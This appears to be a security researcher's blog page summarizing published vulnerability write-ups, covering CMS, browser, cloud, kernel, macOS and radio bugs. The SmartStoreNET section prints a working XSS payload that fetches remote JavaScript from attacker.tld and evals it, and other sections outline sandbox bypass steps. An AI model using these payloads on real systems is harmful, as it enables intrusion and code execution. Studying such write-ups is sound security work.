Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Concrete CMS is designed for ease of use, for users with a minimum of technical skills. It enables users to edit site content directly from the page. It provides version management for every page,similar to wiki software, another type of web site development software.

As a limited privileged user, a URL can be entered. Then, the CMS will use CURL to download this locally. There is a validation done on the file type to ensure that PHP files and other malicious types cannot be added to the filesystem. However, the CMS downloads it locally with CURL prior to doing this validation. Can we access this?

The file is created in a temporary directory. By reversing how this code works, they found that the generation of the directory name was predictable. It came down to the usage of milliseconds to generate the ID. By syncing the time with the responses from the server, this can be done fairly trivially with the syncing and some brute forcing.

There is one thing that is confusing though: they claim that they extended the race window by adding a sleep command to the PHP file. If the PHP code is being executed (the sleep call), then why do you need to call it externally? This was really strange to me and I'm not sure why they did not pop a reverse shell from the initial execution of the payload. The only explanation would be to add a permanent backdoor.

The article alludes to the CURL command having an SSRF bug as well, but they decide to save this for another day. Overall, the race condition PHP execution is a good find! Don't let the error message fool you; trust but verify.

Content Security Policies (CSP) are rules to load resources in CSS, images and many other things. This can be defined in a response called the Content-Security-Policy or put into <meta> tags on the HTML. The CSP is implemented in most browsers but is quite complex to implement.

When a violation is made of the policy, this information can send the information. There are quite a few ways to send a report: the CSP report-uri in a CSP, a SecurityPolicyViolationEvent and two others.

There was one major issue with the original specification of the CSP though: the CSP recommended that the origin of the blocked URI was to be displayed. This is a problem because the blocked URL,from the redirect, could contain sensitive information cross origin.

Leaking the origin by using the blocked-uri has happened multiple times. In particular, Egor Homakov which uses a variation of this to fingerprint users across origins.

Safari does not adhere to the W3C specification. As a result, we can use the CSP to block a cross-origin redirection. When the CSP denies the request, the value being sent now may have a secret inside of it! Using the event handler, we have leaked a secret cross origin.

To exploit this with SSO, OAuth can be destroyed from this. When the website goes to the SSO location and gets redirected with a new OAuth code, we can leak the secret token from this! Damn, that's the worst cross-origin browser bug I have ever seen.

After reporting this to Safari in February of 2020, the response claimed that this was not a risk to WebKit users. It seems that the vulnerability was misunderstood by the WebKit team.

What are some fixes to this vulnerability on an OAuth implementation? Using SameSite cookies (I assume strict but they do not say), POST messages instead of GET, using postMessage and a few others. These are not true security fixes; but a workaround for a Safari bug that happens to not make implementations vulnerable.

To prevent this in the browser, include the original request in the error message and not he original target. They ended up finding a similar vulnerability in CORS as well!

We often take the security of browsers for granted and assume things work properly. What happens when the browser is bad? Companies have to include custom fixes and all hell breaks loose. From this, they got over 100K in bug bounties!

Trusted Execution Environment (TEE) is the secure part of TrustZones. This has has two worlds: secure and non-secure. The secure world performs sensitive tasks that are considered sensitive, such as encryption or DRM. Samsung TVs implement this technology for processing video files.

In TEE, the GlobalPlatform API is commonly used. When calling these APIs, the parameters are not properly validated for the address being written to. As a result, an address in the secure world can be specified!

By doing this, it is possible to write to an arbitrary address within the trusted application (TA). The fix for this (5 of them) was to validate the parameters being sent in.

Another vulnerability was a NULL dereference caused by not checking the return value in Malloc. Theoretically, the TA could be mapped to zero, potentially making this exploitable.

Azure Cosmos DB is a fully managed NoSQL database. On top of this, Jupyter Notebooks is an web application that allows for live coding in Python in a graphical way.

By design in Jupyter Notebooks, you can run arbitrary code in the container. From looking at the ENV they were in, there is a non-sudo user named cosmosuser that is executing the notebook. Seems safe, right?

The Python code was running as a different user. However, when running C# code, it was running as root! It turns out that each programming language has its own host process responsible for executing user-supplied code. Root on the box has been achieved!

The second vulnerability was an unrestricted network access vulnerability. The IP tables had restricted access to specific IPs in the internal network. As root, it was possible to simply remove these items from the IP table. Damn, that was simple!

Let's access these forbidden addresses then! After doing some recon on the service, they found a few things. First, 169.254.169.254 contained the metadata for the currently running virtual machine. This was the IP on the $HOST machine.

The other interesting item was WireServer. WireServer holds about the endpoints that can be queried, extensions information and certificates. This is an open source project that can be found on Github.

After playing around with the WireServer for a while, they were able to find 25 Microsoft Certificates and Private Keys that they should NOT have. When using these credentials to access various things, they were able to retrieve logs and metadata information about Cosmos DBs internal workings. We are getting real close!

By accessing the local service fabric on port 19080 with the abric.westus1.cosmos.azure.com certificate, the sfctl CLI could be used to interact with these directly. This listed 500 Cosmos DB instances that were managed in the regional cluster, which did not belong to the account!

This demonstrated complete access to databases and they stopped at this point. This exploit all started from the privilege escalation. Once you get through the first wall, the security comes much worse! With the network misconfiguration and lack of authentication, this became real bad.

The redirect link in Logitech redirects any authenticated user and adds the access token to the link. Then, using this, they could authenticate with the access token.

In a previous report, it was found that this could be redirected to any domain. This caused an access token link if anybody clicked don the link while logged in.

The author was looking at this old report and was curious if there was anyway to bypass the open redirect allowlist. Because, if this vulnerability was found, an access token could be trivially stolen.

The bypass was unconventional! Instead of finding a parsing bug, they looked for other domains on the wayback machine. While looking on the wayback machine, they noticed several other domains that had been used in the past. One of them was unregistered!

By registering this domain, the redirect could be sent to their own site. By clicking on this link, the access token would be stolen from the OAuth flow!

Good find! The wayback machine is even useful for security research!

SmartStoreNET is an open source ECommerce platformt aht is used on Windows Servers. It offers the ability to host an online business, blogs, forums and much more. With how popular this is, vulnerabilities found in this would be huge.

BBcode is a lightweight markup language used to format messages in many Internet forum software that; a similar technology to Markdown. The BBcode is translated using regular expressions; but, a large amount of the content, such as < is translated into the HTML encoded version.

While parsing links with a format of [text](https://some_url.com) format, the URL portion is removed from the link and placed into an anchors href attribute. Again, this is done through a very simple regex replace call.

Because of the previous escaping steps, it was not possible to use a single or double quote to escape the HTML. However, there are TWO regex patterns that are checked for back-to-back. Making the regex place happen multiple times could cause major parsing issues.

The first regex checks for data of the format [url=http://www.smartstore.com]my site[/url] and puts it into a standard link. After this, another transformation is done on BBcode of type [url]http://www.smartstore.com[/url].

On the first regex, the parameter [url=myAttribute=myValue x=] is used to trigger the first regex. This transformation puts an href, with the value put above (which is not a URL at all). It should be noted that this is the inner link.

On the second replace, it sees the transformed value above as a link, since they are nested. Even though we have already escaped the first one, it believes that this is a link that needs to be replaced with the second regex. When this happens, there is an unexpected amount of quotes already in the link. As a result, the already added links first double quote escapes the string! This allows for the adding of an arbitrary attribute with an arbitrary value!

The progression is shown below:

1. Original payload: [url]foo[url=myAttribute=myValue x=]bar[/url]xyz[/url]
2. After first regex replace: [url]foo<a href="myAttribute=myValue x=" >bar</a>xyz[/url]. Notice that the original format has been replaced with an anchor tag.
3. Second regex place: <a href="foo<a href="myAttribute=myValue x=" >bar</a>xyz</a>.

The important action is that the second regex replace, which puts an object with double quotes into the href. This allows for the escaping which eventually leads to XSS!

The XSS was not simple to trigger though; only attributes can be added to the <a> tag and there is a limit on the characters that can be used for this, from the filtering done prior. To exploit this, they choose to use a style attribute. They added an animation, that, when rendered, would make a web request and eval the data from the request.

The full payload looked like this: [url] [url=style=animation-name:fa-spin; onwebkitanimationend=$.get(`http://attacker.tld/x.js`,function(_){eval(_)}) x=] [/url] [/url]. At this point, code execution is trivial by adding a custom plugin to the store. Game over!

Overall, this was an interesting XSS bug that required a break in the parsing of weird BBcode. To patch this, an additional level of sanitization happened at the end of the processing chain.

CodeQL is a querying language used for Code. When analyzing large code bases, such as the Linux kernel, this can be used to learn about the code base or attempt to find very specific vulnerabilities.

The author checked for all occurrences of a 16-bit number being passed to kmalloc, the function for allocating memory dynamically. This is because it is easier to overflow a buffer with a 16-bit number compared to a 32 or 64-bit size.

The initial query returned 60 results. From further analysis, a single path stood out. A function was parsing user controlled data without validating the size of the message what-so-ever when doing the write. This smells like a buffer overflow but triggering bugs is never this simple.

Transparent Inter-Process Communication (TIPC) is a protocol that allows nodes in a cluster to communicate with each other. The protocol is implemented in a kernel module packaged with all major Linux distributions. It can be configured over the top of Ethernet or UDP.

The code path was for handling this was found to be exploitable via message type of MSG_CRYPTO. The header size and message size are both validated against the packet size. However, the vulnerability occurs because the keylen field is not compared against the message size.

In practice, this means that an attacker can create a packet with a small body size to allocate heap memory, and then use an arbitrary size in the keylen attribute to write outside the bounds of this location. This bug can be triggered locally or remotely.

The write is interesting since it happens prior to the validation. If the validation is hit, then the program exits. To exploit this, the overflow of the heap buffer could exploit things around it. If you want to continue with the current though path, only a 10 byte overflow is possible to use.

The patch moves the validation of the size before the write occurs. Additionally, an integer overflow check and minimum packet size validation were added.

CodeQL does not find bugs by itself. However, it drastically helps in the discovery of the bugs. This was a great case of looking for a bug class and finding it via CodeQL. Good find!

The macOS App Sandbox restricts system resources and user data for applications. Additionally, a user can use an applications entitlements to assess its behavior. Every sandboxed application gets its own container that can isolate network access, hardware and other things.

The open utility is used on macOs under the hood to open files. This can be called within the sandbox, including the underlining APIs. Should you be able to open arbitrary files using this? Probably not!

The Terminal application can be called via the API calls for open. By controlling the HOME environmental variable being passed to the API call, we can set this to a location outside of the container.

To bypass the restrictions, the following action can be done:

1. Write the payload into a profile file, such as the bash profile.
2. Open the Terminal application setting the $HOME ENV variable.

Since the Terminal application is not sandboxed at all, this gives us full disk access! This is gameover on the application, depending on the user this runs at. The article mentions nothing particular about the fix.

All input to a privileged context should be considered malicious. In this case, the mishandling of the $HOME ENV variable led to compromise. Good find!

System Integrity Protection (SIP) protects the system from running unauthorized code on macOS. e. The system automatically authorizes apps that the user downloads from the App Store. It is also known as “rootless”; it essentially locks down the system from root by leveraging the Apple sandbox to protect the entire platform.

SIP has added many restrictions over the years; one of these are the filesystem restrictions. The rootless configuration controls which files are SIP protected and there is an extended attribute for this as well. There is a valid way to bypass this though: using the rootless* entitlements, which are used for upgrades and things.

In the past, there have been several bypasses for SIP:

• Abusing dynamic libraries. Similar to DLL hijacking, there was a bypass that allowed for the insertion of a malicious DLL into a binary with the rootless.*
• In 2020, a mounting vulnerability was found. By directly mounting a .dmg file over a SIP protected folder, SIP could be bypassed.
• Many entitled processes may have security holes, such as fsck_cs. In this case, you could give the utility symbolic links to load SIP protected directories.

Microsoft defender has the com.apple.rootless.install.heritable entitlement. With this entitlement, any child process of system_installd would be able to bypass SIP filesystem restrictions altogether. Would it be possible to get this binary to run something that we control?

This was likely exploitable in several scenarios. However, the authors chose to look into system_installd specifically. When installing an Apple-signed package, the package invokes this script and takes charge of the original process. If the package contains any post-install scripts, this is ran via the default shell zsh.

When zsh is executed, it looks for the file /etc/zshenv. If this is found, then the commands are automatically ran from the file. This allows arbitrary actions to be performed in the context of system_installd; hence, in the context of Microsoft Defender.

Overall, this is a great find that required a deep understanding of macOS and the entitlements put in place. The zsh issue likely exists in other places too, meaning it may be a valid exploit technique going forward.

Frequency Hopping Spread Spectrum (FHSS) changes frequencies constantly. This is a seemingly random but predictable by the receiver. It is incredibly efficient in the unlicensed bands, as data is easier to pick out.

Practically, this is used quite a bit! Back in the day, this was used for military communication with Single Channel Ground and Airborne Radio System (SINCGARS) for voice and data. This used 30-80MHz of bandwith with 120+ channels. The hopping was done 100ish times per second. The original implementation replied on the hopping for security!

Bluetooth uses FHSS as well. It has 79 total channels at 1MHz a piece. It has 3200 clock cycles and switch every other cycle. This means that bluetooth hops 1600 times per second. In implementation documentation, the authors came across an article that claimed that the FHSS modulation acts as a layer 1 encryption... this is not right but a common misconception.

How to break this? The most obvious way is to get the hopping pattern. There are a few ways mentioned:

• Break the algorithm being used by figuring out the PRNG source.
• Analyze data fast enough to catch hops.
• Generate the pattern for all clock values associated with the radio. This was done by Michael Ossmann at ShmooCon 2009 on Bluetooth by listening for a whole day.

The purpose of this talk was evaluating the implementation of FHSS. They came up with a substantial amount of code for this and created their own platform to do so. This repo is called HedyAttack after the supposedly inventor of FHSS Hedy Lamarr. They noted they destroyed a bunch of hardware in the process and it is part of the process.

By the end of developing the project, they had some interesting firmware. The first program is maxscan, which is a simply spectrum analyzer. This is helpful for figuring out WHERE the hops are happening at and visualizing everything.

The next tool is minscan. This tool starts out by recording the average minimum RSSI value for each channel using a series of initialization passes. Once the minimum values have been recorded the tool changes mode to monitor ups in the RSSI value that should indicate transmission on that channel. This helps with tracking the switching.

While writing the firmware, a lot of code was borrowed from the IM-ME in order to make things and many things did not work. This radio communication stuff is really hard! A lot of things are hidden behind paywalls, which is really annoying to deal with. The code even has a Python interface in order to handle this on the computer side, away from the radio. This required them writing their own USB communication interface from scratch.

The amazing piece of software is that this can be used to do hop tracking! This does assume that the radio can be used on the entire bandwidth of the FHSS. The tool only works on the CC1111EMK868-915 TI board, which only operates on the 868 MHz and 915MHz frequency bands.

What are the steps for analysis?

• Floor and Ceiling. Find the mins and maxs.
• Channel threshold. How do we know that we have found a channel?
• Channel identification and spacing.
• Find the hopping pattern.
• Find the sync word. This is the I'm starting to send data thing.

Although this is a lot of information to figure out, there is a finite amount of ways to configure most things. Since this is the case, people will just say this is secure. Interacting with FHSS is hard but not a security feature by itself. The Github repo has code for graphically viewing the spectrum, analyzing the hops to figure out parameters and actually sending data.

An additional piece I found while watching this talk was Combining the Bandwidth of Two HackRFs. Using this, you could use the HackRF to view a larger bandwidth than what we thought was possible. During this talk, the HackRF did not exist, requiring them to make their own tooling.

Overall, a really interesting talk about FHSS in the wild. It seems that this has died down some but this is not where it ends!